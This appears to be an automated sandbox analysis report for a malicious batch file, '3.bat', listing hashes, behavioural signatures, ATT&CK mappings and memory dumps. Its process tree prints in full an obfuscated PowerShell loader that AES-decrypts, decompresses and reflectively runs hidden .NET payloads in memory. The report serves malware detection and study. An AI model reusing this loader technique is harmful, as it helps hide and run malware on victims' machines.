94e303522613e9d7826ae18fcc1a124b0293f21c4a44dc0da59e9ef50697fb5e

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
29-03-2023 11:10

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General

Target

3.bat
Size

145KB
MD5

476d87590230e420d07a4d6fd677bd1d
SHA1

29a2c881b58dd4d9ea40c2208952fdc39627265d
SHA256

b6ee5ced40c6a82853e8b5543e139254b0aa9c503b670943818b332297293dd2
SHA512

f2bad15633d8f8801eeb0843c9b7462480b8927014db4a0adc05f631a19039e6b15e63265d19eb624979b762fd1640435acffd65d34dd2b9ef219a0c7126edbc
SSDEEP

3072:lKEN79wvVZHRTlfG+7nxmiNQuJ7Mhs6gf/Ks+vCN/MG1XLfzz6PM:ld9w7HRT/7nhiu7ks6gfSsrN/nXjzz6U

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
552	3.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
552	3.bat.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1940	powershell.exe
552	3.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	552	3.bat.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 1940	1980	cmd.exe	29
PID 1980 wrote to memory of 1940	1980	cmd.exe	29
PID 1980 wrote to memory of 1940	1980	cmd.exe	29
PID 1980 wrote to memory of 552	1980	cmd.exe	30
PID 1980 wrote to memory of 552	1980	cmd.exe	30
PID 1980 wrote to memory of 552	1980	cmd.exe	30
PID 1980 wrote to memory of 552	1980	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -c #
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Users\Admin\AppData\Local\Temp\3.bat.exe
  "C:\Users\Admin\AppData\Local\Temp\3.bat.exe" function fi($s){$s.Replace('PCgSe', '')}$TvSl=fi 'CPCgSehangPCgSeeExPCgSetenPCgSesiPCgSeoPCgSenPCgSe';$uPOI=fi 'CrPCgSeePCgSeaPCgSeteDPCgSeePCgSecrypPCgSetorPCgSe';$JkhJ=fi 'TraPCgSensPCgSefPCgSeormPCgSeFinaPCgSelBloPCgSecPCgSekPCgSe';$wwku=fi 'RePCgSeadLPCgSeinesPCgSe';$mfAv=fi 'GePCgSetPCgSeCPCgSeurrePCgSentPPCgSerocePCgSesPCgSesPCgSe';$LndS=fi 'FirPCgSestPCgSe';$IOON=fi 'LoaPCgSedPCgSe';$bGTU=fi 'EnPCgSetryPCgSePoPCgSeinPCgSetPCgSe';$VfMB=fi 'FroPCgSemBPCgSeasePCgSe6PCgSe4PCgSeStPCgSeriPCgSengPCgSe';$OqGp=fi 'InvPCgSeokPCgSeePCgSe';function zkztS($GNZBX){$cqmSn=[System.Security.Cryptography.Aes]::Create();$cqmSn.Mode=[System.Security.Cryptography.CipherMode]::CBC;$cqmSn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$cqmSn.Key=[System.Convert]::$VfMB('UJReuXeqHSNd3qVXNxnQQ97OnOfSBItpzbPC/7v6/1s=');$cqmSn.IV=[System.Convert]::$VfMB('l+XIW/qwWmYbLeGbOZpElw==');$kDTzC=$cqmSn.$uPOI();$Eyxis=$kDTzC.$JkhJ($GNZBX,0,$GNZBX.Length);$kDTzC.Dispose();$cqmSn.Dispose();$Eyxis;}function JacSh($GNZBX){$BBOCs=New-Object System.IO.MemoryStream(,$GNZBX);$tgHik=New-Object System.IO.MemoryStream;$sqTvH=New-Object System.IO.Compression.GZipStream($BBOCs,[IO.Compression.CompressionMode]::Decompress);$sqTvH.CopyTo($tgHik);$sqTvH.Dispose();$BBOCs.Dispose();$tgHik.Dispose();$tgHik.ToArray();}function OVfya($GNZBX,$xwUmA){[System.Reflection.Assembly]::$IOON([byte[]]$GNZBX).$bGTU.$OqGp($null,$xwUmA);}$ImGss=[System.Linq.Enumerable]::$LndS([System.IO.File]::$wwku([System.IO.Path]::$TvSl([System.Diagnostics.Process]::$mfAv().MainModule.FileName, $null)));$MefbR = $ImGss.Substring(3).Split('\');$TlioL=JacSh (zkztS ([Convert]::$VfMB($MefbR[0])));$MTOPM=JacSh (zkztS ([Convert]::$VfMB($MefbR[1])));OVfya $MTOPM $null;OVfya $TlioL $null;
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\3.bat.exe

Filesize
442KB

MD5
92f44e405db16ac55d97e3bfe3b132fa

SHA1
04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

SHA256
6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

SHA512
f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

Download Submit
memory/552-69-0x0000000002150000-0x0000000002190000-memory.dmp

Filesize
256KB

Download
memory/1940-58-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/1940-59-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1940-60-0x00000000022D0000-0x0000000002350000-memory.dmp

Filesize
512KB

Download
memory/1940-61-0x00000000022D0000-0x0000000002350000-memory.dmp

Filesize
512KB

Download
memory/1940-62-0x00000000022D0000-0x0000000002350000-memory.dmp

Filesize
512KB

Download
memory/1940-63-0x00000000022DB000-0x0000000002312000-memory.dmp

Filesize
220KB

Download